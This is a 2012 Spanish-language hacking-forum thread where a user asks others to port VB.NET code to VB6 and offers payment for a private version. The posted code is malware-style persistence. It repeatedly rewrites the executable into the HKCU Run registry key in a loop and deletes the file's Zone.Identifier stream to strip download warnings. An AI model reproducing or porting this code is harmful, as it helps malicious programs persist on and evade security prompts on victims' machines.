elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Port VB.NET code to VB6
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Port VB.NET code to VB6  (Leído 2,431 veces)
Swellow

Desconectado Desconectado

Mensajes: 77


Ver Perfil
Port VB.NET code to VB6
« en: 14 Octubre 2012, 18:43 pm »

Hola amigos! Does anyone can help me porting this VB.NET code to VB6? That would be really appreciated :)

Código:
Imports Microsoft.Win32
Imports System.Runtime.InteropServices

'Credits
'Salmoneus - The rest of the code.
'JeromeMarshall - For tutorial on deleting the ADS entry.

Public Class Startup

    Private Value As String

    Private Delegate Sub C()
    Private Delegate Sub V()
    Private Delegate Sub W()
    Private Delegate Sub L()
    Private Delegate Sub CL()
    Private Delegate Sub DZ()

    Dim T As New Threading.Thread(AddressOf Persistence)

    <DllImport("kernel32", CharSet:=CharSet.Unicode, SetLastError:=True)> _
    Public Shared Function DeleteFile(ByVal name As String) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function

    Public Sub New()
  Dim DZone As New DZ(AddressOf DeleteZone)
  Try : DZone.Invoke() : Catch : End Try
  T.Start()
    End Sub

    Private Sub Persistence(ByVal RegValue As String)

  Value = RegValue

  Dim CK As C = New C(AddressOf CreateKey)
  Dim SV As V = New V(AddressOf SetValue)
  Dim WA As W = New W(AddressOf Wait)
  Dim CLO As CL = New CL(AddressOf Close)
  Dim LO As L = New L(AddressOf Looper)

  CK.Invoke()
  WA.Invoke()
  SV.Invoke()
  WA.Invoke()
  CLO.Invoke()
  LO.Invoke()

    End Sub
    Private Sub Wait()
  Dim R As New Random
  Threading.Thread.Sleep(R.Next(100, 300))
    End Sub
    Private Sub Looper()
  Persistence(Value)
    End Sub
    Private Sub CreateKey()
  If BoolCheck = True Then : RegKey.CreateSubKey(AppName) : Else : Exit Sub : End If
  Close()
    End Sub
    Private Sub SetValue()
  If BoolCheck = True Then : RegKey.SetValue(Value, AppName) : Else : Exit Sub : End If
    End Sub
    Private Sub Close()
  RegKey.Close()
    End Sub
    Private Sub DeleteZone()
  If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If
    End Sub
    Private ReadOnly Property RegKey As RegistryKey
  Get
    Dim Startup As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
    Return Startup
  End Get
    End Property
    Private ReadOnly Property RegValue As String
  Get
    Dim Value As String = RegKey.GetValue(AppName)
    Return Value
  End Get
    End Property
    Private ReadOnly Property BoolCheck As Boolean
  Get
    If RegValue <> AppName Then
    Return True
    End If
    Return False
  End Get
    End Property
    Private ReadOnly Property AppName As String
  Get
    Return Application.ExecutablePath.ToString()
  End Get
    End Property
End Class

Thanks in Advance!


En línea

x64core


Desconectado Desconectado

Mensajes: 1.908


Ver Perfil
Re: Port VB.NET code to VB6
« Respuesta #1 en: 14 Octubre 2012, 22:07 pm »

Nadie va a hacer esto para tí, Deberían de bannear a este usuario y que aprenda a hacer sus propias mierd*s!


En línea

Elemental Code


Desconectado Desconectado

Mensajes: 622


Im beyond the system


Ver Perfil
Re: Port VB.NET code to VB6
« Respuesta #2 en: 14 Octubre 2012, 22:49 pm »

what does this VB.NET code do?
En línea

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas
Swellow

Desconectado Desconectado

Mensajes: 77


Ver Perfil
Re: Port VB.NET code to VB6
« Respuesta #3 en: 15 Octubre 2012, 13:59 pm »

I can pay the guy who will port this to VB6 but if I pay, you don't share the code public. This is a Startup Method.
En línea

Elemental Code


Desconectado Desconectado

Mensajes: 622


Im beyond the system


Ver Perfil
Re: Port VB.NET code to VB6
« Respuesta #4 en: 15 Octubre 2012, 14:39 pm »

i think that this works with multi threading or something like that :S

i can build you a module that add a reg key to startup.
It will be in a single thread.

And i am not sure what its this code:

Código
  1.        Dim DZone As New DZ(AddressOf DeleteZone)
  2.        Try : DZone.Invoke() : Catch : End Try
  3.  
  4.    Private Sub DeleteZone()
  5.        If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If
  6.    End Sub

So i wont include this :S

Sendme a PM if interested ;)
En línea

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas
Swellow

Desconectado Desconectado

Mensajes: 77


Ver Perfil
Re: Port VB.NET code to VB6
« Respuesta #5 en: 15 Octubre 2012, 15:35 pm »

i think that this works with multi threading or something like that :S

i can build you a module that add a reg key to startup.
It will be in a single thread.

And i am not sure what its this code:

Código
  1.        Dim DZone As New DZ(AddressOf DeleteZone)
  2.        Try : DZone.Invoke() : Catch : End Try
  3.  
  4.    Private Sub DeleteZone()
  5.        If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If
  6.    End Sub

So i wont include this :S

Sendme a PM if interested ;)

This startup method is a special one, I'll need you to make the exact same module in VB6, it must do exactly the same thing.<
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
TCPListener (port)
Programación Visual Basic
CsarGR 1 2,786 Último mensaje 3 Febrero 2006, 19:17 pm
por CsarGR
port y host
Foro Libre
Panic0 1 1,543 Último mensaje 18 Agosto 2020, 23:01 pm
por EdePC
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines